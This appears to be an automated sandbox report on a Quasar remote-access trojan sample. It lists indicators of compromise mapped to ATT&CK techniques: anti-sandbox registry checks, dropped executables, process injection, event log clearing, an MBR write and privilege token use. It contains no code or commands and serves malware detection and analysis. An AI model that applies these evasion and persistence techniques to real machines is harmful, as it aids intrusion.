quasar | 0f57fa2dc5322daa1041b1afb474f120c8a1f9043654eb2385572f2735f647ee

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	$sxr-powershell.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	$sxr-powershell.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	setup.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	$sxr-powershell.exe

Deletes itself 1 IoCs

pid	Process
2968	setup.bat.exe

Executes dropped EXE 34 IoCs

pid	Process
2968	setup.bat.exe
1008	$sxr-powershell.exe
4812	$sxr-nircmd.exe
4944	$sxr-powershell.exe
4392	$sxr-powershell.exe
4868	$sxr-powershell.exe
4444	$sxr-powershell.exe
700	$sxr-powershell.exe
4804	$sxr-powershell.exe
1812	$sxr-powershell.exe
4040	$sxr-powershell.exe
2000	$sxr-powershell.exe
4812	$sxr-powershell.exe
3488	$sxr-powershell.exe
5716	$sxr-powershell.exe
5608	$sxr-powershell.exe
2936	$sxr-powershell.exe
5044	$sxr-powershell.exe
472	$sxr-powershell.exe
5252	$sxr-powershell.exe
5052	$sxr-powershell.exe
2160	$sxr-powershell.exe
1896	$sxr-powershell.exe
1348	$sxr-powershell.exe
7112	$sxr-powershell.exe
6308	$sxr-powershell.exe
6656	$sxr-powershell.exe
3972	$sxr-powershell.exe
7012	$sxr-powershell.exe
228	$sxr-powershell.exe
4408	$sxr-powershell.exe
1476	$sxr-powershell.exe
4896	$sxr-powershell.exe
5864	$sxr-powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe

Hide Artifacts: Hidden Window 1 TTPs 64 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

Hidden Window

T1564.003

pid	Process
1476	$sxr-powershell.exe
7528	$sxr-powershell.exe
8908	$sxr-powershell.exe
7012	$sxr-powershell.exe
228	$sxr-powershell.exe
7904	$sxr-powershell.exe
9072	$sxr-powershell.exe
7780	$sxr-powershell.exe
2936	$sxr-powershell.exe
2160	$sxr-powershell.exe
6308	$sxr-powershell.exe
6756	$sxr-powershell.exe
1892	$sxr-powershell.exe
2000	$sxr-powershell.exe
3488	$sxr-powershell.exe
7112	$sxr-powershell.exe
4896	$sxr-powershell.exe
4944	$sxr-powershell.exe
4868	$sxr-powershell.exe
4040	$sxr-powershell.exe
5052	$sxr-powershell.exe
7156	$sxr-powershell.exe
2936	$sxr-powershell.exe
4392	$sxr-powershell.exe
4408	$sxr-powershell.exe
5008	$sxr-powershell.exe
7044	$sxr-powershell.exe
6760	$sxr-powershell.exe
7576	$sxr-powershell.exe
700	$sxr-powershell.exe
1812	$sxr-powershell.exe
5252	$sxr-powershell.exe
2236	$sxr-powershell.exe
9116	$sxr-powershell.exe
472	$sxr-powershell.exe
6524	$sxr-powershell.exe
7336	$sxr-powershell.exe
5124	$sxr-powershell.exe
4992	$sxr-powershell.exe
3048	$sxr-powershell.exe
8584	$sxr-powershell.exe
1348	$sxr-powershell.exe
6652	$sxr-powershell.exe
6196	$sxr-powershell.exe
1132	$sxr-powershell.exe
5716	$sxr-powershell.exe
1412	$sxr-powershell.exe
7828	$sxr-powershell.exe
6524	$sxr-powershell.exe
8880	$sxr-powershell.exe
4812	$sxr-powershell.exe
5044	$sxr-powershell.exe
2144	$sxr-powershell.exe
3116	$sxr-powershell.exe
8748	$sxr-powershell.exe
5608	$sxr-powershell.exe
1896	$sxr-powershell.exe
6656	$sxr-powershell.exe
3972	$sxr-powershell.exe
5376	$sxr-powershell.exe
8772	$sxr-powershell.exe
1008	$sxr-powershell.exe
4444	$sxr-powershell.exe
4804	$sxr-powershell.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 19 IoCs

description	ioc	Process
File created	C:\Windows\System32\ucrtbased.dll	setup.bat.exe
File created	C:\Windows\System32\vcruntime140d.dll	setup.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	setup.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	$sxr-powershell.exe
File created	C:\Windows\System32\vcruntime140_1d.dll	setup.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	setup.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	setup.bat.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe

Suspicious use of SetThreadContext 40 IoCs

description	pid	Process	procid_target
PID 2968 set thread context of 2068	2968	setup.bat.exe	93
PID 1008 set thread context of 2116	1008	$sxr-powershell.exe	97
PID 1008 set thread context of 4364	1008	$sxr-powershell.exe	109
PID 1008 set thread context of 5668	1008	$sxr-powershell.exe	113
PID 4040 set thread context of 4304	4040	$sxr-powershell.exe	119
PID 4444 set thread context of 5204	4444	$sxr-powershell.exe	120
PID 4812 set thread context of 4788	4812	$sxr-powershell.exe	121
PID 700 set thread context of 4892	700	$sxr-powershell.exe	122
PID 4392 set thread context of 4916	4392	$sxr-powershell.exe	123
PID 1812 set thread context of 1852	1812	$sxr-powershell.exe	124
PID 2000 set thread context of 4940	2000	$sxr-powershell.exe	125
PID 4804 set thread context of 860	4804	$sxr-powershell.exe	126
PID 4944 set thread context of 1692	4944	$sxr-powershell.exe	127
PID 4868 set thread context of 2388	4868	$sxr-powershell.exe	128
PID 4040 set thread context of 4972	4040	$sxr-powershell.exe	139
PID 4040 set thread context of 3044	4040	$sxr-powershell.exe	140
PID 2968 set thread context of 5796	2968	setup.bat.exe	142
PID 2968 set thread context of 3928	2968	setup.bat.exe	144
PID 1896 set thread context of 6020	1896	$sxr-powershell.exe	148
PID 5052 set thread context of 1676	5052	$sxr-powershell.exe	149
PID 2160 set thread context of 5236	2160	$sxr-powershell.exe	150
PID 2936 set thread context of 4288	2936	$sxr-powershell.exe	151
PID 5044 set thread context of 6644	5044	$sxr-powershell.exe	152
PID 5716 set thread context of 3284	5716	$sxr-powershell.exe	153
PID 5252 set thread context of 3996	5252	$sxr-powershell.exe	154
PID 3488 set thread context of 1868	3488	$sxr-powershell.exe	155
PID 472 set thread context of 1640	472	$sxr-powershell.exe	156
PID 5608 set thread context of 6228	5608	$sxr-powershell.exe	158
PID 1896 set thread context of 6828	1896	$sxr-powershell.exe	171
PID 1896 set thread context of 3820	1896	$sxr-powershell.exe	174
PID 228 set thread context of 4688	228	$sxr-powershell.exe	176
PID 4896 set thread context of 5592	4896	$sxr-powershell.exe	177
PID 1476 set thread context of 2008	1476	$sxr-powershell.exe	178
PID 4408 set thread context of 5632	4408	$sxr-powershell.exe	179
PID 7012 set thread context of 6276	7012	$sxr-powershell.exe	180
PID 6656 set thread context of 6252	6656	$sxr-powershell.exe	181
PID 7112 set thread context of 6312	7112	$sxr-powershell.exe	182
PID 1348 set thread context of 6428	1348	$sxr-powershell.exe	183
PID 3972 set thread context of 6488	3972	$sxr-powershell.exe	184
PID 6308 set thread context of 2600	6308	$sxr-powershell.exe	247

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral5/memory/1008-56-0x00000150371F0000-0x0000015037AAE000-memory.dmp	costura

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-powershell.exe	setup.bat.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\$sxr-seroxen1\$sxr-nircmd.exe	setup.bat.exe
File created	C:\Windows\$sxr-seroxen1\$sxr-Uni.bat	setup.bat.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File created	C:\Windows\$sxr-powershell.exe	setup.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1488	cmd.exe
6332	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6332	cmd.exe
6448	PING.EXE

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe

Checks processor information in registry 2 TTPs 13 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Kills process with taskkill 1 IoCs

pid	Process
6628	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-540052884-2969440504-464782435-1000\02hmgfqyqkkzxvsq\DeviceId = "<Data><User username=\"02HMGFQYQKKZXVSQ\"><HardwareInfo BoundTime=\"1785812811\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-540052884-2969440504-464782435-1000\ValidDeviceId = "02hmgfqyqkkzxvsq"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-540052884-2969440504-464782435-1000\02hmgfqyqkkzxvsq	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C0172B0E4EF1"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
6448	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2968	setup.bat.exe
2968	setup.bat.exe
2968	setup.bat.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2068	dllhost.exe
2968	setup.bat.exe
2968	setup.bat.exe
1008	$sxr-powershell.exe
1008	$sxr-powershell.exe
1008	$sxr-powershell.exe
2116	dllhost.exe
2116	dllhost.exe
2116	dllhost.exe
2116	dllhost.exe
1008	$sxr-powershell.exe
1008	$sxr-powershell.exe
4944	$sxr-powershell.exe
4944	$sxr-powershell.exe
4392	$sxr-powershell.exe
4944	$sxr-powershell.exe
4944	$sxr-powershell.exe
4392	$sxr-powershell.exe
4392	$sxr-powershell.exe
4392	$sxr-powershell.exe
4868	$sxr-powershell.exe
4868	$sxr-powershell.exe
4868	$sxr-powershell.exe
4444	$sxr-powershell.exe
4444	$sxr-powershell.exe
4444	$sxr-powershell.exe
4868	$sxr-powershell.exe
4868	$sxr-powershell.exe
4444	$sxr-powershell.exe
4444	$sxr-powershell.exe
700	$sxr-powershell.exe
700	$sxr-powershell.exe
700	$sxr-powershell.exe
700	$sxr-powershell.exe
700	$sxr-powershell.exe
4804	$sxr-powershell.exe
4804	$sxr-powershell.exe
1812	$sxr-powershell.exe
1812	$sxr-powershell.exe
4804	$sxr-powershell.exe
1812	$sxr-powershell.exe
1812	$sxr-powershell.exe
1812	$sxr-powershell.exe
4804	$sxr-powershell.exe
4804	$sxr-powershell.exe
4040	$sxr-powershell.exe
4040	$sxr-powershell.exe
4040	$sxr-powershell.exe
2000	$sxr-powershell.exe
2000	$sxr-powershell.exe
4040	$sxr-powershell.exe
4040	$sxr-powershell.exe
4040	$sxr-powershell.exe
4040	$sxr-powershell.exe
2000	$sxr-powershell.exe
2000	$sxr-powershell.exe
2000	$sxr-powershell.exe
4812	$sxr-powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3320	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2968	setup.bat.exe
Token: SeDebugPrivilege	2068	dllhost.exe
Token: SeDebugPrivilege	1008	$sxr-powershell.exe
Token: SeDebugPrivilege	1008	$sxr-powershell.exe
Token: SeDebugPrivilege	2116	dllhost.exe
Token: SeDebugPrivilege	4944	$sxr-powershell.exe
Token: SeDebugPrivilege	4392	$sxr-powershell.exe
Token: SeDebugPrivilege	4868	$sxr-powershell.exe
Token: SeDebugPrivilege	4444	$sxr-powershell.exe
Token: SeDebugPrivilege	700	$sxr-powershell.exe
Token: SeDebugPrivilege	4804	$sxr-powershell.exe
Token: SeDebugPrivilege	1812	$sxr-powershell.exe
Token: SeDebugPrivilege	4040	$sxr-powershell.exe
